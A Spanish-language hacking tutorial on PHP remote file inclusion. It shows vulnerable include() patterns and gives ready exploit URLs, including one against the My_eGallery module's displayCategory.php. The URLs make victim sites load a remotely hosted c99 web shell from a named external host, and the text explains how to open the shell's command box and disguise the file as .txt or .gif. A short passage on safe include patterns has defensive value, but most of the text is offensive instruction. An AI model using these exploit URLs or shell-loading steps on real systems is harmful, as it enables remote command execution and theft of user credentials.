En este pequeño documento explicaremos acerca de remote file inclusion, con algunos ejemplos y como este tipo de fallos puede comprometer seriamente nuestro sistema y hasta un servidor de hosting capturando users passwords y demas informacion de nuestros usuarios..
NOTA:
=====
Para las demostraciones de este documento he usado dos scripts uno situado en:
http://usuarios.lycos.es/servertec/cmd3.txt
Cabe destacar que ustedes pueden usar sus propios scripts o aglun otro que tengan.-
INTRODUCCION
============
Bueno este es un pequeño texto donde explicare algunas cosas sobre RFI o Remote File Inclusion.
No explicare todo pero gran parte para que tengan una idea mas clara acerca del RFI.-
RFI es un conocido bug y muy usado generalmente en archivos.php, muy comun con sistemas
con register_globals On auqnue tambien los hay en sistemas off, las diferencias generalemnte son:
on:
?php
include "$page"; <--- bug
?
off:
?php
include "".$_REQUEST['page'].""; <--- bug
?
otras alternativas comunes:
?
include("$lang.lang.inc.php3"); <-- bug
?
Otros:
require_once($tpath . "cn_config.php");
include("$dir/newsconfig.php");
Etc etc
Si el archivo de llamara por ejemplo: index.php y en el codigo obtendriamos alguna de esas dos
alternativas la manera de explotarlo seria:
http://www.victima.com/index.php?page=http//[atacante]/script.txt
o
http://www.victima.com/index.php?lang.lang.inc.php3=http//[atacante]/script.txt
o
http://www.victima.com/index.php?tpath=http//[atacante]/script.txt
http://www.victima.com/index.php?dir=http//[atacante]/script.txt
Donde http//[atacante]/script.txt seria nuestro script malicioso con codigo para ejecutar comandos
remotos. He incluido a mi parecer una de las mejores shells que existen eso lo epxlicare mas adelante.-
Nota: siempre el archivo script debe ser renombrado a cualquier extension (txt, gif, jpeg, etc)
NO dejarlo en .php ya que ejecutariamos los comandos en nuestro server y NO serviria de nada.-
Como veran la el problema siempre se encuentra en las definiciones de variables, tomemos por
ejemplo:
?php
include "$page"; <--- bug
?
Alli vemos claramente que el archivo (llamemoslo index.php) hace referencia a incluir la variable
"page" que en teoria seria la que nos enviara a X page.-
Ejemplo vulnerable el de arriba , ejemplo NO vulnerable:
Código:
?
switch ($page) {
case links;
$seccion = "links.php";
.... etc etc
Alli vemos que declara la variable $page pero tambien hace refencia a que debe buscar la "page"
dentro del path (o directorio donde se encuentra el index.php), en ese caso no seria vulnerable.
Pero volvamos al caso anterior como include "$page"; no hace refencia a que debe estar ubicada
en algun directorio especial este se peude explotar con script.txt, ya que al no hacer referencia
que debe estar dentro de ese dir podemos indicarle que "page" se encuentra en = http://tuserver.com/script.txt
(o lo que sea).-
Vamos a otro ejemplo:
include("$lang.lang.inc.php3"); <-- bug
Siempre decimos que esa definicion se encuentra en el archivo index.php (que puede ser cualquier otro)
entonces la manera de explotarlo seria:
index.php?lang.lang.inc.php3=http://tuserver.com/script.txt
ok ahora vemos como se define esto:
http:/www.server.com/ <---servidor victima
index.php <---archivo con el bug que puede ser main.php includes.php etc.-
? <--- alli pregunta o hace referencia a una opcion
page= <--- el bug o variable en cuestion vean que tambien puse como ejemplo lang.lang.inc.php3
http://tuserver.com/script.txt <--- tu servidor con el script malicioso
Vean que la gran mayoria de bugs de RFI se encuentran en la definicion o inclusion:
include("$lang.lang.inc.php3") <--- $ hace referencia al archivo a incluir pero no dice donde se buscara ese archivo
include("./lang.lang.inc.php3") <--- asi no seria vulnerable ya que buscaria en el directorio real el archivo
=============================================================================
=============================================================================
=============================================================================
acaaaaaa
--------------------- Fallos ejemplos de bugs en Software mas comunes y su grado de Peligrosidad -----------------
Famoso My_Egallery (casi extinguido aunque aun existen varias webs vulns)
El bug:
Se localiza en el archivo displayCategory.php el cual hace referencia a:
include ("$basepath/public/imageFunctions.php"); <-- bug $basepath no definido
Exploit:
http://www.server.com/modules/My_eGallery/public/displayCategory.php?basepath=http://www.tuserver.com/script.txt
Cabe destacar que al ser generalmente usado en php-nuke y derivados siempre se instala en /modules/My_eGallery/
aunque tambien podemos encontrarlo en webs normales en ese caso seria:
http://www.server.com/DIR_DE_My_eGallery/public/displayCategory.php?basepath=http://www.tuserver.com/script.txt
Los cmd`s:
en el script.txt (o como se llame) estan definidos los comandos en la siguiente shell que a continuacion les
doy solo habria que agregar esto al final de c99.gif(asi se llama el archivo) estas lineas:
c99.gif?cmd&cmd&act=cmd <-- lo cual nos deja un text box para meter los comandos
He elegido esta shell ya que simplifica el tema de meter los comandos :)
el path completo seria:
http://usuarios.lycos.es/servertec/cmd3.txt?cmd&cmd&act=cmd
ejemplo :
http://www.server.com/modules/My_eGallery/public/displayCategory.php?basepath=http://usuarios.lycos.es/servertec/cmd3.txt?cmd&cmd&act=cmd





